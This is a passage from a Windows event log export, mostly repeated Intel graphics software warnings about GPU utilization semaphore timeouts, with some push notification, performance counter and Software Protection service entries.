08:36:36.330\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:36:39.911\t1258\tWNP Transport Layer for Data Connection received asynchronous connection error 10060.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:36:39.911\t1213\tWNP Transport Layer proxy connection initiated for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:36:39.911\t1215\tWNP Transport Layer proxy negotiation initiated for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:36:39.921\t1216\tWNP Transport Layer proxy negotiation completed for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:36:40.348\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:36:42.686\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:36:43.024\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:36:43.244\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:36:44.246\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:36:44.471\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:36:44.728\t3056\tTile Notification are being cleared for MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy!Widgets - informed session 3.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:36:46.477\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:36:47.365\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:37:06.198\t16\tCounter 6 of instance ({3976adcc-b8ec-4ff9-ae0c-6943a79f212a}, WhqlProvider, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:37:06.200\t16\tCounter 6 of instance ({3976adcc-b8ec-4ff9-ae0c-6943a79f212a}, InvProv, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:37:06.202\t16\tCounter 6 of instance ({3976adcc-b8ec-4ff9-ae0c-6943a79f212a}, DeliveryOptimizationMIProv, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:37:10.079\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:37:10.303\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:37:10.524\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:37:10.859\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:37:12.042\t16384\tSuccessfully scheduled Software Protection service for re-start at 2126-08-12T01:37:12Z. Reason: RulesEngine.\tInformation\tApplication\tMicrosoft-Windows-Security-SPP\n05.09.2026 08:37:12.531\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:37:13.640\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:37:14.861\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:37:15.418\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:37:17.632\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:37:19.847\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:37:20.175\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:37:22.053\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:37:22.716\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:37:23.590\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:37:24.817\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:37:25.477\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:37:25.698\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:37:26.702\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:37:35.057\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:37:35.392\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:37:35.729\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:37:36.064\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:37:36.210\t16\tCounter 6 of instance ({3976adcc-b8ec-4ff9-ae0c-6943a79f212a}, Win32_TpmProvider, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:37:36.622\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:37:36.843\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:37:37.394\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:37:37.605\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:37:37.939\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:37:38.161\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:37:38.385\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:37:39.053\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:37:39.274\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:37:39.605\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:37:39.942\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:37:40.612\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:37:41.055\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:37:41.830\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:37:42.056\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:37:42.278\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:37:42.503\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:37:42.727\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:37:42.949\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:37:43.173\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:37:43.397\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:37:43.720\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:37:44.157\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:37:44.382\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:37:44.770\t3056\tTile Notification are being cleared for MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy!Widgets - informed session 3.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:37:45.164\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:37:45.384\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:37:45.606\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:37:45.834\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:37:46.054\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:37:46.499\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:37:46.940\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:37:47.386\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:37:47.833\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:37:48.817\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:37:49.037\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:37:49.263\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:37:49.928\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:37:50.153\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:37:50.375\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:37:51.152\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:37:51.379\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:37:51.603\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:37:51.945\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:37:52.149\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:37:52.364\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:37:52.702\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:37:52.921\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:37:53.130\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:37:58.461\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:38:06.208\t16\tCounter 6 of instance ({3976adcc-b8ec-4ff9-ae0c-6943a79f212a}, WMIProv, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:38:15.035\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:38:20.928\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:38:21.146\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:38:21.693\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:38:22.139\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:38:22.815\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:38:23.147\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:38:23.592\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:38:24.702\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:38:25.258\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:38:26.695\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:38:26.902\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:38:27.346\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:38:28.126\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:38:28.455\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:38:28.675\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:38:28.899\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:38:29.901\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:38:31.225\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:38:31.441\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:38:31.774\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:38:31.998\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:38:32.220\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be 